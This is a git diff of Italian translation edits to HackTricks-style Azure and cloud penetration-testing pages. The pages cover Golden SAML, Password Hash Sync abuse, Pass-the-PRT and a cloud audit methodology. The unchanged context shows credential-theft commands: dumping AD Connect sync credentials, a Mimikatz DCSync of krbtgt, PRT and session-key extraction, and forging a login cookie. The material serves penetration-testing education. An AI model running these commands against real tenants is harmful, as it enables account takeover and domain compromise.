1. Inizialmente, un'applicazione (Service Provider o SP, come la console AWS o il client web vSphere) viene accessibile da un utente. Questo passaggio potrebbe essere bypassato, portando direttamente il client all'IdP (Identity Provider) a seconda dell'implementazione specifica. -2. Successivamente, lo SP identifica l'IdP appropriato (ad es., AD FS, Okta) per l'autenticazione dell'utente. Quindi crea una richiesta di autenticazione SAML (Security Assertion Markup Language) e reindirizza il client all'IdP scelto. +2. Successivamente, lo SP identifica l'IdP appropriato (ad es., AD FS, Okta) per l'autenticazione dell'utente. Quindi crea una richiesta AuthnRequest SAML (Security Assertion Markup Language) e reindirizza il client all'IdP scelto. 3. L'IdP prende il controllo, autenticando l'utente. Dopo l'autenticazione, una SAMLResponse viene formulata dall'IdP e inoltrata allo SP tramite l'utente. 4. Infine, lo SP valuta la SAMLResponse. Se convalidata con successo, implicando una relazione di fiducia con l'IdP, all'utente viene concesso l'accesso. Questo segna il completamento del processo di accesso, consentendo all'utente di utilizzare il servizio. @@ -37,9 +37,9 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks ## Pivoting -- AD FS è un modello di identità basato su affermazioni. -- "..le affermazioni sono semplicemente dichiarazioni (ad esempio, nome, identità, gruppo), fatte sugli utenti, utilizzate principalmente per autorizzare l'accesso ad applicazioni basate su affermazioni situate ovunque su Internet." -- Le affermazioni per un utente sono scritte all'interno dei token SAML e poi firmate per fornire riservatezza da parte dell'IdP. +- AD FS è un modello di identità basato su claims. +- "..le claims sono semplicemente affermazioni (ad esempio, nome, identità, gruppo), fatte sugli utenti, utilizzate principalmente per autorizzare l'accesso a applicazioni basate su claims situate ovunque su Internet." +- Le claims per un utente sono scritte all'interno dei token SAML e vengono quindi firmate per fornire riservatezza da parte dell'IdP. - Un utente è identificato da ImmutableID. È globalmente unico e memorizzato in Azure AD. - L'ImmutableID è memorizzato on-prem come ms-DS-ConsistencyGuid per l'utente e/o può essere derivato dal GUID dell'utente. - Maggiori informazioni in [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims) @@ -48,7 +48,7 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks - In ADFS, la SAML Response è firmata da un certificato di firma del token. - Se il certificato è compromesso, è possibile autenticarsi su Azure AD come QUALSIASI utente sincronizzato con Azure AD! -- Proprio come il nostro abuso di PTA, il cambio password per un utente o MFA non avrà alcun effetto perché stiamo falsificando la risposta di autenticazione. +- Proprio come il nostro abuso di PTA, la modifica della password per un utente o MFA non avrà alcun effetto perché stiamo falsificando la risposta di autenticazione. - Il certificato può essere estratto dal server AD FS con privilegi DA e poi può essere utilizzato da qualsiasi macchina connessa a Internet. - Maggiori informazioni in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) @@ -56,7 +56,7 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks Il processo in cui un **Identity Provider (IdP)** produce una **SAMLResponse** per autorizzare l'accesso dell'utente è fondamentale. A seconda dell'implementazione specifica dell'IdP, la **risposta** potrebbe essere **firmata** o **crittografata** utilizzando la **chiave privata dell'IdP**. Questa procedura consente al **Service Provider (SP)** di confermare l'autenticità della SAMLResponse, assicurando che sia stata effettivamente emessa da un IdP fidato. -Si può tracciare un parallelo con l'[attacco golden ticket](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), dove la chiave che autentica l'identità e i permessi dell'utente (KRBTGT per i golden ticket, chiave privata di firma del token per il golden SAML) può essere manipolata per **falsificare un oggetto di autenticazione** (TGT o SAMLResponse). Questo consente l'impersonificazione di qualsiasi utente, concedendo accesso non autorizzato allo SP. +Si può tracciare un parallelo con l'[attacco golden ticket](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), dove la chiave che autentica l'identità e i permessi dell'utente (KRBTGT per i golden ticket, chiave privata di firma del token per il golden SAML) può essere manipolata per **forgiare un oggetto di autenticazione** (TGT o SAMLResponse). Questo consente l'impersonificazione di qualsiasi utente, concedendo accesso non autorizzato allo SP. I Golden SAML offrono alcuni vantaggi: diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index f6ab8f811..5301043f5 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -4,7 +4,7 @@ ## Informazioni di base -[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La sincronizzazione degli hash delle password** è uno dei metodi di accesso utilizzati per realizzare l'identità ibrida. **Azure AD Connect** sincronizza un hash, dell'hash, della password di un utente da un'istanza di Active Directory on-premises a un'istanza di Azure AD basata su cloud. +[Dal documento:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La sincronizzazione dell'hash della password** è uno dei metodi di accesso utilizzati per realizzare l'identità ibrida. **Azure AD Connect** sincronizza un hash, dell'hash, della password di un utente da un'istanza di Active Directory on-premises a un'istanza di Azure AD basata su cloud.
@@ -23,17 +23,17 @@ Quando un utente on-prem vuole accedere a una risorsa Azure, l'**autenticazione Quando PHS è configurato, alcuni **account privilegiati** vengono automaticamente **creati**: -- L'account **`MSOL_`** viene creato automaticamente nell'AD on-prem. Questo account riceve un ruolo di **Directory Synchronization Accounts** (vedi [documentazione](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) che significa che ha **permessi di replicazione (DCSync) nell'AD on-prem**. +- L'account **`MSOL_`** viene automaticamente creato in AD on-prem. Questo account riceve un ruolo di **Directory Synchronization Accounts** (vedi [documentazione](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) che significa che ha **permessi di replicazione (DCSync) nell'AD on-prem**. - Un account **`Sync__installationID`** viene creato in Azure AD. Questo account può **reimpostare la password di QUALSIASI utente** (sincronizzato o solo cloud) in Azure AD. -Le password dei due precedenti account privilegiati sono **memorizzate in un server SQL** sul server dove **Azure AD Connect è installato.** Gli amministratori possono estrarre le password di quegli utenti privilegiati in chiaro.\ +Le password dei due precedenti account privilegiati sono **memorizzate in un server SQL** sul server dove è **installato Azure AD Connect.** Gli amministratori possono estrarre le password di quegli utenti privilegiati in chiaro.\ Il database si trova in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. È possibile estrarre la configurazione da una delle tabelle, essendo una criptata: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -La **configurazione criptata** è criptata con **DPAPI** e contiene le **password degli utenti `MSOL_*`** nell'AD on-prem e la password di **Sync\_\*** in AzureAD. Pertanto, compromettendo questi è possibile effettuare privesc all'AD e ad AzureAD. +La **configurazione criptata** è criptata con **DPAPI** e contiene le **password degli utenti `MSOL_*`** in AD on-prem e la password di **Sync\_\*** in AzureAD. Pertanto, compromettendo questi è possibile effettuare un privesc all'AD e ad AzureAD. Puoi trovare una [panoramica completa su come queste credenziali sono memorizzate e decrittografate in questo intervento](https://www.youtube.com/watch?v=JEIR5oGCwdg). @@ -47,7 +47,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc #Azure AD module Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"} ``` -### Abusare di MSOL\_\* +### Abusare di MSOL\_* ```powershell # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Get-AADIntSyncCredentials @@ -57,7 +57,7 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' ``` > [!CAUTION] -> Puoi anche usare [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) per ottenere queste credenziali. +> Puoi anche utilizzare [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) per ottenere queste credenziali. ### Abusare di Sync\_\* diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index e4bc4bba7..814868864 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -12,7 +12,7 @@ az-primary-refresh-token-prt.md ``` Dsregcmd.exe /status ``` -Nella sezione Stato SSO, dovresti vedere il **`AzureAdPrt`** impostato su **YES**. +Nella sezione SSO State, dovresti vedere il **`AzureAdPrt`** impostato su **YES**.
@@ -20,9 +20,9 @@ Nello stesso output puoi anche vedere se il **dispositivo è unito ad Azure** (n
-## Cookie PRT +## PRT Cookie -Il cookie PRT è in realtà chiamato **`x-ms-RefreshTokenCredential`** ed è un JSON Web Token (JWT). Un JWT contiene **3 parti**, l'**intestazione**, il **payload** e la **firma**, divisi da un `.` e tutti codificati in base64 sicuro per URL. Un tipico cookie PRT contiene la seguente intestazione e corpo: +Il cookie PRT è in realtà chiamato **`x-ms-RefreshTokenCredential`** ed è un JSON Web Token (JWT). Un JWT contiene **3 parti**, l'**header**, il **payload** e la **signature**, divisi da un `.` e tutti codificati in base64 sicuro per URL. Un tipico cookie PRT contiene il seguente header e corpo: ```json { "alg": "HS256", @@ -57,7 +57,7 @@ Come **SYSTEM** potresti **rubare il PRT se non protetto** da TPM o **interagire ### Attacco - ROADtoken -Per ulteriori informazioni su questo modo [**controlla questo post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken eseguirà **`BrowserCore.exe`** dalla directory corretta e lo utilizzerà per **ottenere un cookie PRT**. Questo cookie può quindi essere utilizzato con ROADtools per autenticarsi e **ottenere un token di aggiornamento persistente**. +Per ulteriori informazioni su questo metodo [**controlla questo post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken eseguirà **`BrowserCore.exe`** dalla directory corretta e lo utilizzerà per **ottenere un cookie PRT**. Questo cookie può quindi essere utilizzato con ROADtools per autenticarsi e **ottenere un token di aggiornamento persistente**. Per generare un cookie PRT valido, la prima cosa di cui hai bisogno è un nonce.\ Puoi ottenerlo con: @@ -80,7 +80,7 @@ O utilizzando [**roadrecon**](https://github.com/dirkjanm/ROADtools): ```powershell roadrecon auth prt-init ``` -Poi puoi usare [**roadtoken**](https://github.com/dirkjanm/ROADtoken) per ottenere un nuovo PRT (esegui lo strumento da un processo dell'utente da attaccare): +Puoi quindi utilizzare [**roadtoken**](https://github.com/dirkjanm/ROADtoken) per ottenere un nuovo PRT (esegui lo strumento da un processo dell'utente da attaccare): ```powershell .\ROADtoken.exe ``` @@ -88,7 +88,7 @@ Come oneliner: ```powershell Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` -Poi puoi usare il **cookie generato** per **generare token** per **accedere** utilizzando Azure AD **Graph** o Microsoft Graph: +Puoi quindi utilizzare il **cookie generato** per **generare token** per **accedere** utilizzando Azure AD **Graph** o Microsoft Graph: ```powershell # Generate roadrecon auth --prt-cookie @@ -98,7 +98,7 @@ Connect-AzureAD --AadAccessToken --AccountId ``` ### Attacco - Utilizzando roadrecon -### Attacco - Utilizzando AADInternals e un PRT leaked +### Attacco - Utilizzando AADInternals e un PRT leakato `Get-AADIntUserPRTToken` **ottiene il token PRT dell'utente** dal computer unito ad Azure AD o unito in modo ibrido. Utilizza `BrowserCore.exe` per ottenere il token PRT. ```powershell @@ -108,7 +108,7 @@ $prtToken = Get-AADIntUserPRTToken # Get an access token for AAD Graph API and save to cache Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` -Oppure, se hai i valori di Mimikatz, puoi anche usare AADInternals per generare un token: +Oppure, se hai i valori da Mimikatz, puoi anche usare AADInternals per generare un token: ```powershell # Mimikat "PRT" value $MimikatzPRT="MC5BWU..." @@ -150,14 +150,14 @@ Poi vai su [https://portal.azure.com](https://portal.azure.com) ### Attacco - Mimikatz -#### Passaggi +#### Passi 1. Il **PRT (Primary Refresh Token) viene estratto da LSASS** (Local Security Authority Subsystem Service) e memorizzato per un uso successivo. -2. La **Session Key viene estratta successivamente**. Poiché questa chiave viene inizialmente emessa e poi ri-criptata dal dispositivo locale, richiede la decrittazione utilizzando una chiave master DPAPI. Informazioni dettagliate su DPAPI (Data Protection API) possono essere trovate in queste risorse: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) e per comprendere la sua applicazione, fai riferimento a [Pass-the-cookie attack](az-pass-the-cookie.md). +2. La **Session Key viene estratta successivamente**. Poiché questa chiave viene inizialmente emessa e poi ri-criptata dal dispositivo locale, richiede decrittazione utilizzando una chiave master DPAPI. Informazioni dettagliate su DPAPI (Data Protection API) possono essere trovate in queste risorse: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) e per comprendere la sua applicazione, fai riferimento a [Pass-the-cookie attack](az-pass-the-cookie.md). 3. Dopo la decrittazione della Session Key, il **key derivato e il contesto per il PRT vengono ottenuti**. Questi sono cruciali per la **creazione del cookie PRT**. In particolare, la chiave derivata viene utilizzata per firmare il JWT (JSON Web Token) che costituisce il cookie. Una spiegazione completa di questo processo è stata fornita da Dirk-jan, accessibile [qui](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). > [!CAUTION] -> Nota che se il PRT è all'interno del TPM e non all'interno di `lsass`, **mimikatz non sarà in grado di estrarlo**.\ +> Nota che se il PRT è all'interno del TPM e non dentro `lsass`, **mimikatz non sarà in grado di estrarlo**.\ > Tuttavia, sarà possibile **ottenere una chiave da una chiave derivata da un contesto** dal TPM e usarla per **firmare un cookie (controlla l'opzione 3).** Puoi trovare un **approfondimento del processo eseguito** per estrarre questi dettagli qui: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) @@ -180,14 +180,14 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
**Copia** la parte etichettata **Prt** e salvala.\ -Estrai anche la chiave di sessione (il **`KeyValue`** del campo **`ProofOfPossesionKey`**) che puoi vedere evidenziata qui sotto. Questa è crittografata e avremo bisogno di utilizzare le nostre chiavi master DPAPI per decrittografarla. +Estrai anche la chiave di sessione (il **`KeyValue`** del campo **`ProofOfPossesionKey`**) che puoi vedere evidenziata qui sotto. Questa è crittografata e avremo bisogno di usare le nostre chiavi master DPAPI per decrittografarla.
> [!NOTE] > Se non vedi alcun dato PRT potrebbe essere che **non hai PRT** perché il tuo dispositivo non è unito ad Azure AD o potrebbe essere che stai **eseguendo una vecchia versione** di Windows 10. -Per **decrittografare** la chiave di sessione devi **elevare** i tuoi privilegi a **SYSTEM** per eseguire sotto il contesto del computer per poter utilizzare la **chiave master DPAPI per decrittografarla**. Puoi usare i seguenti comandi per farlo: +Per **decrittografare** la chiave di sessione devi **elevare** i tuoi privilegi a **SYSTEM** per eseguire sotto il contesto del computer per poter usare la **chiave master DPAPI per decrittografarla**. Puoi usare i seguenti comandi per farlo: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect @@ -210,17 +210,17 @@ Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT] ```
-- Vai su [https://login.microsoftonline.com](https://login.microsoftonline.com), cancella tutti i cookie per login.microsoftonline.com e inserisci un nuovo cookie. +- Vai a [https://login.microsoftonline.com](https://login.microsoftonline.com), cancella tutti i cookie per login.microsoftonline.com e inserisci un nuovo cookie. ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] Path: / HttpOnly: Set to True (checked) ``` -- Poi vai su [https://portal.azure.com](https://portal.azure.com) +- Quindi vai su [https://portal.azure.com](https://portal.azure.com) > [!CAUTION] -> Il resto dovrebbe essere le impostazioni predefinite. Assicurati di poter aggiornare la pagina e che il cookie non scompaia; se lo fa, potresti aver commesso un errore e dover ripetere il processo. Se non scompare, dovresti essere a posto. +> Il resto dovrebbe essere le impostazioni predefinite. Assicurati di poter aggiornare la pagina e che il cookie non scompaia, se lo fa, potresti aver commesso un errore e dover ripetere il processo. Se non scompare, dovresti essere a posto. #### Opzione 2 - roadrecon usando PRT diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md index 6e6fe02cf..ae29c41ab 100644 --- a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md @@ -2,6 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -Per iniziare i test, dovresti avere accesso con un utente con **permessi di Lettore sulla sottoscrizione** e **ruolo di Lettore Globale in AzureAD**. Se anche in quel caso non riesci ad accedere al contenuto degli **Storage accounts**, puoi risolverlo con il **ruolo di Contributore dell'Account di Archiviazione**. +Per iniziare i test, dovresti avere accesso con un utente con **permessi di Lettore sulla sottoscrizione** e **ruolo di Lettore Globale in AzureAD**. Se anche in quel caso non riesci ad accedere al contenuto degli **Storage accounts**, puoi risolvere il problema con il **ruolo di Contributore dell'Account di Archiviazione**. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index b6f6c00d0..38f1bd176 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -1,18 +1,18 @@ -# Pentesting Cloud Methodology +# Metodologia di Pentesting Cloud {{#include ../banners/hacktricks-training.md}}
-## Basic Methodology +## Metodologia di Base Ogni cloud ha le proprie peculiarità, ma in generale ci sono alcune **cose comuni che un pentester dovrebbe controllare** quando testa un ambiente cloud: - **Controlli di benchmark** -- Questo ti aiuterà a **comprendere la dimensione** dell'ambiente e i **servizi utilizzati** -- Ti permetterà anche di trovare alcune **misconfigurazioni rapide** poiché puoi eseguire la maggior parte di questi test con **strumenti automatizzati** +- Questo ti aiuterà a **comprendere la dimensione** dell'ambiente e **i servizi utilizzati** +- Ti permetterà anche di trovare alcune **veloci misconfigurazioni** poiché puoi eseguire la maggior parte di questi test con **strumenti automatizzati** - **Enumerazione dei servizi** -- Probabilmente non troverai molte altre misconfigurazioni qui se hai eseguito correttamente i test di benchmark, ma potresti trovare alcune che non erano state cercate nel test di benchmark. +- Probabilmente non troverai molte più misconfigurazioni qui se hai eseguito correttamente i test di benchmark, ma potresti trovare alcune che non erano state cercate nel test di benchmark. - Questo ti permetterà di sapere **cosa viene esattamente utilizzato** nell'ambiente cloud - Questo aiuterà molto nei passaggi successivi - **Controlla le risorse esposte** @@ -21,24 +21,24 @@ Ogni cloud ha le proprie peculiarità, ma in generale ci sono alcune **cose comu - Poi dovresti controllare **se quella risorsa può essere esposta o meno** (informazioni riservate? vulnerabilità? misconfigurazioni nel servizio esposto?) - **Controlla i permessi** - Qui dovresti **scoprire tutti i permessi di ciascun ruolo/utente** all'interno del cloud e come vengono utilizzati -- Troppi account **altamente privilegiati** (controllano tutto)? Chiavi generate non utilizzate?... La maggior parte di questi controlli dovrebbe già essere stata eseguita nei test di benchmark +- Troppi account **altamente privilegiati** (controllano tutto)? Chiavi generate non utilizzate?... La maggior parte di questi controlli dovrebbe già essere stata effettuata nei test di benchmark - Se il cliente sta utilizzando OpenID o SAML o altra **federazione**, potresti dover chiedere ulteriori **informazioni** su **come viene assegnato ciascun ruolo** (non è la stessa cosa che il ruolo di admin sia assegnato a 1 utente o a 100) - Non è **sufficiente trovare** quali utenti hanno permessi **admin** "\*:\*". Ci sono molti **altri permessi** che a seconda dei servizi utilizzati possono essere molto **sensibili**. -- Inoltre, ci sono **potenziali modi di privesc** da seguire abusando dei permessi. Tutte queste cose dovrebbero essere prese in considerazione e **dovrebbero essere segnalati quanti più percorsi di privesc possibile**. +- Inoltre, ci sono **potenziali vie di privesc** da seguire abusando dei permessi. Tutte queste cose dovrebbero essere prese in considerazione e **quante più vie di privesc possibili** dovrebbero essere segnalate. - **Controlla le integrazioni** -- È altamente probabile che **le integrazioni con altri cloud o SaaS** siano utilizzate all'interno dell'ambiente cloud. -- Per **le integrazioni del cloud che stai auditando** con altre piattaforme, dovresti notificare **chi ha accesso a (ab)usare quell'integrazione** e dovresti chiedere **quanto è sensibile** l'azione eseguita.\ -Ad esempio, chi può scrivere in un bucket AWS da cui GCP sta estraendo dati (chiedi quanto è sensibile l'azione in GCP trattando quei dati). -- Per **le integrazioni all'interno del cloud che stai auditando** da piattaforme esterne, dovresti chiedere **chi ha accesso esternamente a (ab)usare quell'integrazione** e controllare come vengono utilizzati quei dati.\ -Ad esempio, se un servizio sta utilizzando un'immagine Docker ospitata in GCR, dovresti chiedere chi ha accesso a modificarla e quali informazioni sensibili e accesso avrà quell'immagine quando eseguita all'interno di un cloud AWS. +- È altamente probabile che **integrazioni con altri cloud o SaaS** siano utilizzate all'interno dell'ambiente cloud. +- Per le **integrazioni del cloud che stai auditando** con altre piattaforme, dovresti notificare **chi ha accesso a (ab)usare quell'integrazione** e dovresti chiedere **quanto è sensibile** l'azione che viene eseguita.\ +Ad esempio, chi può scrivere in un bucket AWS da cui GCP sta estraendo dati (chiedi quanto è sensibile l'azione in GCP che tratta quei dati). +- Per le **integrazioni all'interno del cloud che stai auditando** da piattaforme esterne, dovresti chiedere **chi ha accesso esternamente a (ab)usare quell'integrazione** e controllare come vengono utilizzati quei dati.\ +Ad esempio, se un servizio sta utilizzando un'immagine Docker ospitata in GCR, dovresti chiedere chi ha accesso a modificarla e quali informazioni sensibili e accesso avrà quell'immagine quando viene eseguita all'interno di un cloud AWS. -## Multi-Cloud tools +## Strumenti Multi-Cloud Ci sono diversi strumenti che possono essere utilizzati per testare diversi ambienti cloud. I passaggi di installazione e i link saranno indicati in questa sezione. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -Uno strumento per **identificare cattive configurazioni e percorsi di privesc nei cloud e tra cloud/SaaS.** +Uno strumento per **identificare cattive configurazioni e vie di privesc nei cloud e tra cloud/SaaS.** {{#tabs }} {{#tab name="Install" }} @@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env ### [Prowler](https://github.com/prowler-cloud/prowler) -Supporta **AWS, GCP & Azure**. Controlla come configurare ogni fornitore in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) +Supporta **AWS, GCP & Azure**. Controlla come configurare ogni provider in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -412,7 +412,7 @@ azure-security/ ### Attack Graph -[**Stormspotter** ](https://github.com/Azure/Stormspotter) crea un “grafico di attacco” delle risorse in un abbonamento Azure. Consente ai team rossi e ai pentester di visualizzare la superficie di attacco e le opportunità di pivot all'interno di un tenant, e potenzia i tuoi difensori per orientarsi rapidamente e dare priorità al lavoro di risposta agli incidenti. +[**Stormspotter** ](https://github.com/Azure/Stormspotter) crea un “grafico di attacco” delle risorse in un abbonamento Azure. Consente ai red team e ai pentester di visualizzare la superficie di attacco e le opportunità di pivot all'interno di un tenant, e potenzia i tuoi difensori per orientarsi rapidamente e dare priorità al lavoro di risposta agli incidenti. ### Office365